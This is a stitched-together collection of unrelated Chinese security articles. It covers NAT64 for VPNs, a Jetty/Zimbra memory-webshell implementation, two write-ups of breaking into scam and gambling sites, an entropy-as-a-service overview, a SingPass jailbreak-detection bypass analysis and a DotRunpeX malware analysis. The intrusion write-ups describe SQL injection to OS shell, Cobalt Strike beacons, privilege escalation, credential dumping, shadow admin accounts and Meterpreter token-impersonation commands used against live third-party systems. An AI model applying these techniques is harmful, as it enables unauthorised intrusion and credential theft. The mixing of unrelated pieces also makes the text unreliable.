對於下面描述的方法,我們使用了NAT64——一種將所有40 億個IPv4 地址映射到IPv6 地址空間的保留塊的轉換機制。我們的客戶特別要求使用NAT64 在IPv4 地址和IPv6 地址之間進行轉換。

讓我們看看這種機制在實踐中是如何工作的,以及NAT64 為IPv6 做了什麼。假設連接使用不同IP 版本的網絡的路由器收到一個IPv6 數據包,其目標地址來自NAT64 地址範圍。這是接下來發生的事情:

路由器從收到的IPv6 數據包中刪除96 位長的NAT64 前綴,留下32 位的IPv4 地址。

之後,路由器為數據包創建一個新的IPv4 標頭,以便它可以繼續在網絡中傳輸。

當路由器收到IPv4 數據包並必須通過IPv6 網絡路由它時,也會發生同樣的情況:

路由器通過添加NAT64 前綴將IPv4 地址轉換為IPv6 地址。

路由器為數據包重新創建IP 標頭,然後通過IPv6 網絡路由數據包。

您可以使用這些轉換機制來測試IPv6 實現,尤其是在IPv6 網絡不可用的地方。要查看您的VPN 服務如何在純IPv4 環境中處理IPv6 數據包,請在您服務的VPN 接口上使用NAT64 範圍內的目標地址打開IPv6 套接字:

image.png

套接字傳輸

如果您的VPN 服務正常運行,它將接收這些數據包並像處理常規IPv6 數據包一樣處理它們。當這些數據包最終通過物理網絡接口進行路由時,它們將到達一個路由器,該路由器會將它們轉換為常規的IPv4 數據包。然後,您的VPN 服務將能夠從目標服務接收響應數據,為客戶端創建響應IPv6 數據包,並通過其虛擬接口發送。

結論雖然IPv4 仍然更受歡迎,但IPv6 為用戶和開發人員提供了更多好處。在本文中,我們解釋了為什麼需要在您的應用程序中將IPv4 轉換為IPv6,以及如何將對NAT64 的支持添加到您的應用程序中。在您無法完全控製網絡的受限環境中,也允許使用NAT64 將IPv6 地址映射到IPv4 目標。

0x00 前言關於Tomcat Filter型內存馬的介紹資料有很多,但是Jetty Filter型內存馬的資料很少,本文將要參照Tomcat Filter型內存馬的設計思路,介紹Jetty Filter型內存馬的實現思路和細節。

0x01 簡介本文將要介紹以下內容:

Jetty調試環境搭建

實現思路

實現代碼

Zimbra環境下的Filter型內存馬

0x02 Jetty調試環境搭建1.png

0x03 實現思路相關參考資料:

https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java

https://blog.csdn.net/xdeclearn/article/details/125969653

參考資料1是通過JmxMBeanServer獲得webappclassloaer,進而通過反射調用相關方法添加一個Filter

參考資料2是通過Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬的方法

我在實際測試過程中,發現通過JmxMBeanServer獲得webappclassloaer的方法不夠通用,尤其是無法在Zimbra環境下使用

因此,最終改為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬。

0x04 實現代碼1.添加FilterJetty下可用的完整代碼如下:

2.png 3.png 4.png 5.png 6.png

2.枚舉Filter 7.png 8.png(2)通過Thread獲得webappclassloaer,通過反射讀取_filters屬性來枚舉Filter

9.png0x05 Zimbra環境下的Filter型內存馬在Zimbra環境下,思路同樣為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬

但是由於Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Filter時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可

0x06 利用思路Filter型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x07 小結本文介紹了Jetty Filter型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

0x00 前言

去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。

0x01 简单的打点

Image

打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开!

无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。

Image

得到版本号和物理路径,其实还有个小细节,可以看下图。

Image

这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。

大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。

注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。

Image

bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。

但是你看我发现了啥呢!

Image

database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。

0x02 直冲云霄了属于是

大概僵持了十分钟,你看看我发现了啥。

Image

adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。

找到嫌疑ip,简单的查查真实性,定定位啥的。

Image

果不其然,又在我们的大云南。

为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。

Image

Image

Image

然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd

前言

昨天半夜看到一篇文章 某菠菜网站渗透实战

就想着自己也练一练手,打到一半发现,大师傅们对这类站点已经狠狠的蹂躏了,所以借鉴师傅们的经验,本着锻炼一下,想到哪就记一下,所以写的比较杂乱,其中有没有解决的地方也记录下来的,然后又换了个站点接着走了下去

信息收集

前台这样

Image

看一下其他的信息

Image端口查询

Image80为主页面 81 82 为后台登录界面 1433 mssql
Image目录扫描

Image存在目录遍历

Image

漏洞发掘

先去后台页面

输入用户名:123提示用户不存在
输入用户名:admin提示用户或密码不正确

确认admin账号,且没有验证码验证,可尝试爆破

直接弱密码 admin 123456 进入后台

Image功能不多,利用点也没什么

重新回到登录处进行sql注入

ImageImagemssql,dba权限,直接–os-shell

Image这里第一台机器不出网且没回显,放弃了,找了几个站终于找到一个出网且回显的网站(只要出网就挺好解决的)

Image

Image

CS上线

这里尝试CS,判断出网直接生成powershell上线

ImageImageImage看一下信息,查一下tasklist

Image目前是数据库权限,尝试提权,结果直接打掉线,网站也打不开了,还是要慎用,做足信息收集,做足补丁信息的收集

Image又换了一个站点:找到网站路径

Image先拿个webshell

Image哥斯拉顺手甜土豆提权为 system

ImageCS插件甜土豆也提权成功

Image

抓一下管理员密码

logonpasswords

付费的

Image加个影子账户,管理员权限

Image

公网CS通过frp转到内网MSF

先上文章吧 FRP+CS实现本地Kali收Shell

服务端(这里为5000,改完忘截图了)

Image客户端

ImageMSF开启监听

ImageCS

Image

后续

看能不能通过窃取Token以管理员身份登录

getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token “xxxxxxx\administrator” //模拟管理员用户
rev2self //返回之前的accesstoken权限

Image假冒一下令牌

Image但是进入shell的时候不是管理员身份,以system身份查找当前进程,迁移到管理员的进程中

再进入shell

ImageImage然后我还是想 RDP上去但是又没有密码,想到之前看过的一篇文章进行RDP会话劫持:

内网渗透 | RDP会话劫持实现未授权登录

内网漫游:通过RDP劫持向远程系统执行任意代码

最后时间太晚了,就又换了一个站点,成功抓取到密码

ImageRDP直接上去

Image


转载于原文链接: https://mp.weixin.qq.com/s/isk1bmYOuR_79QOBDlwFZQ?ref=www.ctfiot.com

由於新的安全解決方案在其熵源方面受到限制,因此確保互聯網上的安全通信對開發人員來說變得越來越困難。那麼開發人員如何提高加密的安全性以保護用戶數據呢?熵即服務可能是一個很好的答案,這就是原因。

在本文中,我們將討論什麼是加密中的熵以及為什麼它值得您關注。本文將對想要了解如何在安全項目中使用熵的開發人員有所幫助。

什麼是熵?在計算中,熵是操作系統或應用程序收集的用於生成需要隨機數據的加密密鑰的信息的隨機性或不可預測性的度量。當使用高級別的熵進行加密時,可以安全地保護用戶數據免受網絡傳輸和存儲設備上的靜態攻擊。

傳統的計算系統著眼於人類與機器的交互,例如鼠標移動、網絡活動和鍵盤輸入的熵。然後將基於軟件熵的不可預測數據轉換為隨機數並用於加密需求。

但除了傳統計算機之外,人們還使用範圍廣泛的其他設備和系統來訪問互聯網。因此,對隨機數據的需求不斷增加,以緩解嵌入式系統漏洞以及雲計算環境和物聯網(IoT) 設備中的安全問題。相比之下,基於雲的系統和創新設備在與用戶的交互方面受到限制,因此它們無法產生足以滿足加密需求的基於軟件的熵。讓我們在下一節中詳細探討熵安全性。

為什麼熵如此重要? 2012 年之前,幾乎沒有人考慮過基於軟件的熵問題。隨後,來自加州大學聖地亞哥分校和密歇根大學的一組研究人員發現,RSA 和DSA 不再生成安全密鑰。在研究期間,研究人員調查了防火牆和路由器等互聯網設備中使用的公鑰的安全性。結果表明,大多數SSH 和TLS 服務器都包含很容易猜到的公鑰。此外,研究人員非常驚訝地發現10% 的SSH 密鑰和5% 的HTTPS 密鑰是重複的。

這樣做的原因是聯網設備資源受限,並且與用戶的交互也受到限制。物聯網設備的開發基於軟件產生的熵足以用於密碼學的假設,但這種方法似乎無效。從我們關於物聯網安全挑戰的文章中可以看出,具有可猜測加密密鑰的物聯網設備可以很容易地從有用資產轉換為間諜工具。

此外,基於雲的系統不與用戶硬件交互。相反,雲服務提供商使用來賓虛擬機的單一黃金映像,並創建多個實例以響應用戶需求。然而,這些實例產生熵的能力非常有限。因此, 雲計算也正成為網絡攻擊的誘人載體。

因此,尋找可靠的真實熵源成為了開發者非常頭疼的問題。雖然高質量熵的不足越來越多,但傳統的熵生成軟件方法在應用於現代計算系統時會失敗。儘管專家建議使用確定性隨機位生成器生成加密密鑰,但存在這樣的風險,即提供給這些生成器用於密鑰開發的初始值或種子很容易被網絡犯罪分子追踪和破壞。

此問題的一種可能解決方案是找到可以由生產環境中的多個應用程序安全共享的外部熵源。

熵即服務考慮到對隨機數據日益增長的需求,美國國家標準與技術研究院(NIST) 提議開發一種新的服務來為應用程序和設備開發人員提供高質量的熵:熵即服務。

什麼是熵即服務(EaaS)? EaaS 是一種創新的互聯網服務,旨在為物聯網設備、嵌入式系統和雲服務提供商提供高質量的熵源。這些熵源基於可以提供真正隨機性的環形振盪器或量子設備的物理過程。開發人員可以使用EaaS 為他們的應用程序或設備播種高質量的熵,並確保他們的產品受到強有力的保護,免受網絡攻擊。

NIST 的EaaS 架構NIST 提供了一種為內置於設備和應用程序中的隨機數生成器(RNG) 提供種子的安全方法。 NIST 建議開發人員配置他們的應用程序和設備,以將對必要字節數的隨機數據的HTTP GET 請求發送到熵即服務服務器,並使用相關的熵即服務協議接收新生成的隨機數據。根據NIST,EaaS 系統應具有以下組件:

量子熵裝置

EaaS 服務器

客戶端系統中的硬件信任根設備

image.png

EaaS 服務器不斷從附加的量子設備接收熵並將其安全存儲。當它收到來自客戶端系統的請求時,服務器會在將其發送給請求者之前對其新的隨機數據進行簽名和加密。數據的新鮮度通過UTC 時間戳確認,客戶端可以通過將其與本地機器的時間進行比較來驗證該時間戳。數字簽名確保種子的真實性和來源。此外,隨機數據的加密是使用特定於每個客戶端的唯一公鑰和服務器自己的私鑰執行的。

客戶端系統應該有一個帶有安全硬件組件的經典計算設備,用於存儲加密密鑰和種子(例如TPM、Intel IPT 或ARM TrustZone)。此外,還應配備保證EaaS服務器與客戶端硬件組件通信的應用軟件。客戶端系統或設備不一定要有專用硬件,但它的可用性將使種子存儲更加安全。

EaaS 服務器不向其客戶端提供加密密鑰;它僅以安全的方式為客戶的RNG 提供獨特的種子。但是您不需要只信任一個EaaS 提供商;NIST 建議使用來自多個EaaS 服務器的響應來播種應用程序。 EaaS 架構是可擴展的,可以包括全球數以千計的EaaS 服務器,這對於建立集體權威和保持架構的開放性和專家可見性非常重要。

為確保完美的前向保密性,開發人員可以將從EaaS 服務器獲得的隨機數據與本地生成的偽隨機數據(使用哈希)或從另一個EaaS 服務器接收的數據混合。

EaaS供應商市場上有越來越多的成功熵即服務解決方案的例子。例如,美國加密安全解決方案開發商Whitewood 為現場軟件提供免費的熵即服務解決方案,並為永久許可或基於消費的模型提供付費選項。懷特伍德創建了netRandom 軟件,該軟件從熵引擎接收隨機數據,並為操作系統、物聯網設備和虛擬機提供獨特的種子材料。

加拿大網絡安全公司Crypto4A 也在其量子就緒解決方案中實施了NIST 的所有建議。這個熵即服務提供商使用專門開發的硬件安全模塊來實現多個熵源,並為NIST SP-800-90 隨機數生成器設計提供基於量子的數據。他們的模塊確保為公司客戶提供必要級別的加密機密性和服務真實性。

澳大利亞安全公司Quintessence Labs 現在正在嚴格測試其qStream 產品,該產品可為偽隨機數生成器高速提供量子生成的熵。該公司開發了一種有效的熵管理系統,該系統符合KMIP 和FIPS 140-2 級別3。

EaaS 對開發人員的好處EaaS 對應用程序和設備開發人員非常有益,他們不再需要為尋找自己的安全熵源而絞盡腦汁。相反,他們可以更快地推出產品,並確保設備和應用程序能夠安全地保護用戶數據。 EaaS 讓新產品能夠從基於互聯網的架構中獲得真正的熵。這種方法允許開發人員始終使用真正的熵來更新他們的產品,以生成最強大的密碼學,並確保他們的解決方案能夠抵禦現代網絡攻擊。

此外,熵即服務解決方案還可用於企業評估其公司係統的安全性。在EaaS 的幫助下,公司可以證明從來自其基於軟件的資源的數據生成的密鑰的強度。此外,如果企業希望完全確保其數據庫受到保護,還可以使用EaaS 為其端點獲取熵。

至於熵在雲環境中的使用,EaaS 可以幫助避免從公共黃金映像創建的兩個虛擬機實例複製其本地熵池的情況。為避免這種情況,鏡像在克隆後只需要在啟動時從EaaS 服務器請求新的隨機數據。

結論熵即服務是一種新的基於雲的服務,允許開發人員獲得對用戶數據進行強加密所需的高質量熵。該服務滿足了對基於雲的應用程序以及嵌入式和物聯網設備的需求。在密碼學中使用熵是增強解決方案的可靠方法。雖然EaaS 不生成加密密鑰,但它以安全的方式為隨機數生成器提供唯一的種子。

1.png

通過在應用程序的安裝目錄中搜索一些關鍵字,我們實際上得到了兩個結果,它們含有混淆器名稱的信息:

2.png

NuDetectSDK 二進製文件也使用相同的混淆器,但它似乎沒有參與上圖所示的早期越獄檢測。另一方面,SingPass 是應用程序的主要二進製文件,我們可以觀察到與威脅檢測相關的字符串:

3.png

混淆器的名稱已被編輯,但不會影響代碼的內容。

不幸的是,二進製文件沒有洩漏其他字符串,這些字符串可以幫助識別應用程序檢測越獄設備的位置和方式,但幸運的是,應用程序沒有崩潰。

如果我們假設混淆器在運行時解密字符串,則可以嘗試在顯示錯誤消息時轉儲__data 部分的內容。在執行時,用於檢測越獄設備的字符串可能已被解碼並清楚地存在於內存中。

1.我們運行應用程序並等待越獄消息;

2.我們使用Frida 附加到SingPass,並註入一個庫:

2.1在內存中解析SingPass 二進製文件;

2.2轉儲__data 部分的內容;

2.3 將轉儲寫入iPhone 的/tmp 目錄;

一旦數據區被轉儲,__data部分會發生以下變化:

4.png

轉儲前後的__data 部分

此外,我們可以觀察到以下字符串,它們似乎與混淆器的RASP功能有關:

5.png

與RASP 功能相關的字符串

所有的EVT_*字符串都由一個且只有一個我命名為on_rasp_detection的函數引用。這個函數是應用程序開發者在觸發RASP事件時用來執行操作的威脅檢測回調函數。

為了更好地理解這些字符串背後的檢查邏輯,讓我們從用於檢測掛鉤函數的EVT_CODE_PROLOGUE 開始。

EVT_CODE_PROLOGUE:掛鉤檢測當通過彙編代碼接近on_rasp_detection 的交叉引用時,我們可以多次發現這種模式:

6.png

為了檢測給定函數是否被鉤住,混淆器加載函數的第一個字節,並將該字節與值0xFF進行比較。乍一看,0xFF似乎是任意的,但事實並非如此。實際上,常規函數以一個序言開始,該序言在堆棧上分配空間,以保存由調用約定定義的寄存器和函數所需的堆棧變量。在AArch64中,這個分配可以通過兩種方式執行:

7.png

這些指令是不相等的,如果偏移量存在,它們可能會導致相同的結果。在第二種情況下,指令sub SP、SP、#CST 用以下字節編碼:

8.png

正如我們所看到的,該指令的編碼從0xFF開始。如果不是這樣,那麼該函數要么以不同的堆棧分配序言開始,要么可能以一個掛鉤的蹦床開始。由於應用程序的代碼是通過混淆器的編譯器編譯的,因此編譯器能夠區分這兩種情況,並為正確的函數的序言插入正確的檢查。

如果函數指令的第一個字節沒有通過檢查,則跳轉到紅色基本塊。這個基本塊的目的是觸發一個用戶定義的回調,它將根據應用程序的設計和開發人員的選擇來處理檢測:

打印錯誤

應用程序崩潰

破壞內部數據

……

從上圖中,我們可以觀察到檢測回調是從位於#hook_detect_cbk_ptr 的靜態變量加載的。調用此檢測回調時,混淆器會向回調提供以下信息:

1.檢測碼:EVT_CODE_PROLOGUE 為0x400;

2.可能導致應用程序崩潰的受攻擊指針;

現在讓我們仔細看看檢測回調的整體設計。

檢測回調如上一節所述,當混淆器檢測到篡改時,它會通過調用存儲在地址的靜態變量中的檢測回調來做出反應:0x10109D760

9.png

通過靜態分析hook_detect_cbk,實現似乎破壞了回調參數中提供的指針。另一方面,在運行應用程序時,我們觀察到越獄檢測消息,而不是應用程序崩潰。

如果我們查看在該地址讀取或寫入的交叉引用,我們會得到以下指令列表:

10.png

所以實際上只有一條指令,init_and_check_rasp+01BC,用另一個函數覆蓋默認的檢測回調:

11.png

與默認回調相比:hook_detect_cbk(被覆蓋的函數)相比,hook_detect_cbk_user_def不會損壞一個會導致應用程序崩潰的指針。相反,它調用on_rasp_detection函數,該函數引用上圖中列出的所有字符串EVT_CODE_TRACING、EVT_CODE_SYSTEM_LIB等。

通過整體查看init_and_check_rasp函數,我們可以注意到X23寄存器也用於初始化其他靜態變量:

13.png

X23寫入指令

這些內存寫入意味著回調hook_detect_cbk_user_def 用於初始化其他靜態變量。特別是,這些其他靜態變量很可能用於其他RASP 檢查。通過查看這些靜態變量#EVT_CODE_TRACING_cbk_ptr、#EVT_ENV_JAILBREAK_cbk_ptr 等的交叉引用,我們可以找到執行其他RASP 檢查的位置以及觸發它們的條件。

EVT_CODE_SYSTEM_LIB 14.png

EVT_ENV_DEBUGGER

15.png

EVT_ENV_JAILBREAK

16.png

多虧了#EVT_*交叉引用,我們可以靜態地通過使用這些#EVT_*變量的所有基本塊,並突出顯示可能觸發RASP回調的底層檢查。在詳細檢查之前,需要注意以下幾點:

1.雖然應用程序使用了一個商業混淆器,除了RASP之外,還提供了本地代碼混淆,但代碼是輕度混淆的,這使得靜態彙編代碼分析非常容易。

2.應用程序為所有RASP 事件設置相同的回調。因此,它簡化了RASP 繞過和應用程序的動態分析。

反調試SingPass 使用的混淆器版本實現了兩種調試檢查。首先,它檢查父進程id (ppid) 是否與/sbin/launchd 相同,後者應該為1。

17.png

getppid 通過函數或系統調用調用。

如果不是這種情況,它會觸發EVT_ENV_DEBUGGER 事件。第二個檢查基於用於訪問extern_proc.p_flag 值的sysctl。如果此標誌包含P_TRACED 值,則RASP 例程會觸發EVT_ENV_DEBUGGER 事件。

18.png

在SingPass 二進制中,我們可以在以下地址範圍內找到這兩個檢查的實例:

19.png

越獄檢測對於大多數越獄檢測,混淆器會通過檢查設備上是否存在(或不存在)某些文件來嘗試檢測設備是否已越獄。

借助以下幫助程序,可以使用系統調用或常規函數檢查文件或目錄:

20.png

如上所述,我提到__data 部分的轉儲顯示與越獄檢測相關的字符串,但轉儲並未顯示混淆器使用的所有字符串。

通過仔細研究字符串編碼機制,可以發現有些字符串是在臨時變量中即時解碼的。我將在本文的第二部分解釋字符串編碼機制,這樣,我們可以通過在fopen、utimes等函數上設置鉤子,並在這些調用之後立即轉儲__data部分來揭示字符串。然後,我們可以遍歷不同的轉儲,查看是否出現了新的字符串。

21.png

最後,該方法無法對所有字符串進行解碼,但可以實現良好的覆蓋。用於檢測越獄的文件列表在附件中給出。

還有一個檢測unc0ver 越獄的特殊檢查,包括嘗試卸載/.installed_unc0ver:

0x100E4D814:_unmount('/.installed_unc0ver')

環境混淆器還會檢查觸發EVT_ENV_JAILBREAK 事件的環境變量。其中一些檢查似乎與代碼提升檢測有關,但仍會觸發EVT_ENV_JAILBREAK 事件。

22.png

startswith()從逆向工程的角度來看,startswith()實際上是作為一個“or-ed”的xor序列來實現的,以得到一個布爾值。這可能是編譯器優化的結果。你可以在位於地址0x100015684的基本塊中觀察這個模式。

高級檢測除了常規檢查之外,混淆器還執行高級檢查,比如驗證SIP(系統完整性保護)的當前狀態,更準確地說,是KEXTS代碼簽名狀態。

根據我在iOS越獄方面的經驗,我認為沒有越獄會禁用CSR_ALLOW_UNTRUSTED_KEXTS標誌。相反,我猜它是用來檢測應用程序是否在允許這種停用的Apple M1 上運行。

23.png

Assemblyrange:0x100004640–0x1000046B8

混淆器還使用Sandbox API 來驗證是否存在某些路徑:

24.png

通過這個API 檢查的路徑是OSX 相關的目錄,所以我猜它也被用來驗證當前代碼沒有在Apple Silicon 上被解除。例如,下面是使用Sandbox API 檢查的目錄列表:

25.png

Assemblyrange:0x100ED7684(function)

此外,它使用沙盒屬性file-read-metadata 作為stat() 函數的替代方案。

Assemblyrange:0x1000ECA5C–0x1000ECE54

該應用程序通過私有系統調用使用沙盒API 來確定是否存在一些越獄工件。這是非常明智的做法,但我想這並不符合蘋果的安全政策。

代碼符號表此檢查的目的是驗證已解析導入的地址是否指向正確的庫。換句話說,此檢查驗證導入表沒有被可用於掛鉤導入函數的指針篡改。

Initialization: part of sub_100E544E8

Assemblyrange:0x100016FC4–0x100017024

在RASP 檢查初始化(sub_100E544E8) 期間,混淆器會手動解析導入的函數。此手動解析是通過迭代SingPass 二進製文件中的符號、檢查導入符號的庫、訪問(在內存中)此庫的__LINKEDIT 段、解析導出trie 等來執行的。此手動解析填充一個包含已解析符號的絕對地址的表。

此外,初始化例程設置遵循以下佈局的元數據結構:

26.png

symbols_index 是一種轉換錶,它將混淆器已知的索引轉換為__got 或__la_symbol_ptr 部分中的索引。索引的來源(即__got 或__la_symbol_ptr)由包含類枚舉整數的origins 表確定:

27.png

symbols_index和origins這兩個表的長度都是由靜態變量nb_symbols定義的,它被設置為0x399。元數據結構後面跟著兩個指針:resolved_la_syms 和resolved_got_syms,它們指向混淆器手動填充的導入地址表。

每個部分都有一個專用表:__got 和__la_symbol_ptr。

然後,macho_la_syms 指向__la_symbol_ptr 部分的開頭,而macho_got_syms 指向__got 部分。

最後,stub_helper_start/stub_helper_end 保存了__stub_helper 部分的內存範圍。稍後我將介紹這些值的用途。

這個元數據結構的所有值都是在函數sub_100E544E8中進行初始化時設置的。

在SingPass 二進製文件的不同位置,混淆器使用此元數據信息來驗證已解析導入的完整性。它首先訪問symbols_index 和具有固定值的起源:

28.png

由於symbols_index表包含uint32_t值,#0xCA8匹配#0x32A(起源表的索引)當除以sizeof(uint32_t):0xCA8=0x32A * sizeof(uint32_t)。

換句話說,我們有以下操作:

29.png

然後,給定sym_idx 值並根據符號的來源,該函數訪問已解析的__got 表或已解析的__la_symbol_ptr 表。此訪問是通過位於sub_100ED6CC0 的輔助函數完成的。可以用下面的偽代碼來概括:

30.png

比較section_ptr 和manual_resolved 的索引sym_idx 處的條目,如果它們不匹配,則觸發事件#EVT_CODE_SYMBOL_TABLE。

實際上,比較涵蓋了不同的情況。首先,混淆器處理sym_idx 處的符號尚未解析的情況。在這種情況下,section_ptr[sym_idx] 指向位於__stub_helper 部分中的符號解析存根。這就是元數據結構包含本節的內存範圍的原因:

31.png

另外,如果兩個指針不匹配,函數會使用dladdr來驗證它們的位置:

32.png

例如,如果導入的函數與Frida掛鉤,則兩個指針可能不匹配。

在origin[sym_idx]被設置為SYM_ORIGINS:NONE的情況下,函數跳過檢查。因此,我們可以通過用0填充原始表來禁用這個RASP檢查。符號的數量接近元數據結構,元數據結構的地址是由___atomic_load和___atomic_store函數洩露的。

33.png

代碼跟踪檢查代碼跟踪檢查旨在驗證當前沒有被跟踪。通過查看#EVT_CODE_TRACING_cbk_ptr 的交叉引用,我們可以識別出兩種驗證。

GumExecCtxEVT_CODE_TRACING 似乎能夠檢測Frida 的跟踪檢查是否正在運行。這是我第一次觀

微信截图_20230319161953.png

新版DotRunpeX完整的技術分析為了分析dotRunpeX的新版本,使用了示例SHA256:“44a11146173db0663a23787bffbb120f3955bc33e60e73ecc798953e9b34b2f2”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,受KoiVM保護。版本信息與舊版本的DotRunpeX的情況相同,並且在CPR分析的所有示例中都是一致的。 CPR可以再次注意到ProductName – RunpeX.Stub.Framework 。

33.png

新DotRunpeX版本的信息

在dnSpyEx中打開示例並導出入口點函數_sb()方法後,CPR可以立即確認此新版本的DotRunpeX受到KoiVM虛擬程序的保護。儘管大多數IL代碼都是虛擬化的,但CPR仍然可以發現P/Invoke定義的CreateProcess方法的調用,該方法以某種方式創建一個處於掛鉤狀態的進程——通常用於代碼注入技術“Process Hollowing”。

34.png

創建掛鉤的流程作為Process Hollowing技術的一部分

在進一步研究了.NET元數據(特別是ImplMap表)中剩餘的內容之後,找出了定義為P/Invoke並很可能被這個示例使用的其他方法,CPR得到了比舊版本dotRunpeX更令人興奮的發現。顯然,該示例不僅執行代碼注入,還執行加載和與驅動程序通信。

35.png

ImplMap表——DotRunpeX的新版本

CPR立即註意到的下一個是使用了與舊版本相同的資源名——BIDEN_HARRIS_PERFECT_ASSHOLE——它包含要注入的加密有效負載。資源名稱在CPR分析的所有樣本中都是一致的。很明顯,解密例程隱藏在代碼虛擬化之後,但通過猜測,他們可以得到一個簡單的異或解密例程,它使用了一個表示開發者秘密願望的密碼——I_LOVE_HENTAIU2。

36.png

使用密碼“I_LOVE_HENTAIU2”對.NET資源進行簡單異或解密

不過,由於DotRunpeX仍處於開發階段,並添加了新功能,使用該注入器的最新示例改變了解密方案(不再是簡單的XOR),從而省略了嵌入式有效負載的靜態提取。

如上所述,IL代碼受到KoiVM虛擬程序的保護,因此為了繼續分析,CPR需要想出一些方法來處理受保護的代碼,並在合理的時間內從中獲得一些有意義的東西。首先,CPR想到的是使用一個名為OldRod的公開開源KoiVM去虛擬程序。這個工具完全適用於KoiVM的普通版本。它的開發方式甚至要優於KoiVM原始版本的一些簡單修改(例如VMEntry類中方法的簽名修改或默認#Koi流名稱的修改)。

不過,CPR正在處理一個自定義版本的KoiVM,它以一種不那麼容易被發現的方式修改了保護程序。 KoiVM的原始實現定義了119個用於虛擬化代碼的常量變量。這些常量用於定義寄存器、標誌、操作碼等。這些常量的指定值用於正確執行虛擬化代碼,也是去虛擬化過程所需的。

37.png

KoiVM的原始實現定義了119個常量

在使用普通版本的KoiVM時,在constants類內已編譯的、受保護的示例中,生成的常量以完全相同的順序顯示為字段,並帶有升序標記值。在編譯後的二進製文件中,常量及其對應的標記的順序是OldRod所依賴的。

38.png

OldRod源代碼——常量的自動檢測

儘管OldRod工具是一個非常好用的工具,並且可以在通過配置文件(——config選項)提供自定義常量映射時處理常量的自定義順序,但找出這些常量的正確映射並不像聽起來那麼簡單。有時,當一個常量的順序是手工修改時,通過分析它們在代碼中的使用來正確地映射它們可能並不難。但更糟糕的是,它們以一種非常有效的方式被打亂,使得正確的映射非常困難,以至於認為這種方法無法在合理的時間內獲得一些結果。

39.png

OldRod源代碼——常量的自動檢測

通過精確的代碼分析和通過適當的處理程序映射常量期間的一些困難時刻,CPR還是能夠完全去虛擬化代碼。不過,就算有了完全去虛擬化的代碼,但還是一個不能完全運行的.NET程序集,它仍然被ConfuserEx混淆器混淆了。

下圖是與驅動程序例程相關的完全去虛擬化和去混淆的代碼。

驅動程序裝載/卸載:

40.png

負責加載/卸載驅動程序的虛擬化和非虛擬化代碼

與procexp設備的通信:

41.png

負責與procexp設備通信的去虛擬化和去混淆的代碼

為了講解方便,本文不討論去虛擬化和去混淆的過程。

通常,當不可能在合理的時間內對代碼進行反虛擬化時,CPR仍然沒有其他選擇。第一個選項(處理虛擬化代碼時非常常見的方法)是使用調試器、DBI(動態二進制檢測)、掛鉤和WIN API跟踪進行動態分析。當CPR處理dotnet代碼時,另一種方法可能是使用一些來自.NET內部世界的知識進行PoC。 CPR決定將這兩種方法結合起來,從而開發出了一種非常有效的新工具。

為了獲得更多關於代碼功能的信息,CPR從使用x64dbg的動態分析方法開始。正如CPR之前指出的,包含P/Invoke定義的方法的ImplMap表似乎是在調試器中設置斷點的一個很好的起點。通過自動解析P/Invoke定義的方法並將其轉換為x64dbg腳本,CPR開發了第一個工具,稱為“ImplMap2x64dbg”。

ImplMap2x64dbg使用dnfile模塊正確解析.NET可執行文件及其元數據的Python腳本,此工具創建一個x64dbg腳本,用於在.NET可執行文件的已定義ImplMap (P/Invoke)方法上設置斷點。

42.png

使用' ImplMap2x64dbg '處理DotRunpeX示例將生成x64dbg腳本:

43.png

CPR主要關注某些WIN/NT API,如CreateProcessW、NtWriteVirtualMemory、CreateFileA、CreateFileW、NtLoadDriver、NtQuerySystemInformation和DeviceIoControl,因為它們是與驅動程序和進程注入例程相關的有趣API。

我們能看到的第一個有趣的WIN API調用是CreateFileW,它用於在路徑C:\Users\XXX\AppData\Local\Temp\Иисус.sys中創建一個文件。

44.png

CreateFileW用於創建文件“Иисус.sys”

如果CPR檢查創建的文件Иисус.sys(俄語翻譯為“jesus.sys”),就會立即發現它是一個有效的進程資源管理器驅動程序,版本為16.43。

45.png

創建的文件“Иисус.sys”是有效的進程資源管理器驅動程序,版本16.43

CPR可以看到負責加載此驅動程序的例程NtLoadDriver,其中參數指向DriverServiceName–\Registry\Machine\System\CurrentControlSet\Services\TaskKill,它指定了驅動程序註冊表項的路徑。

46.png

NtLoadDriver用於通過其關聯的註冊表項加載procexp驅動程序

47.png

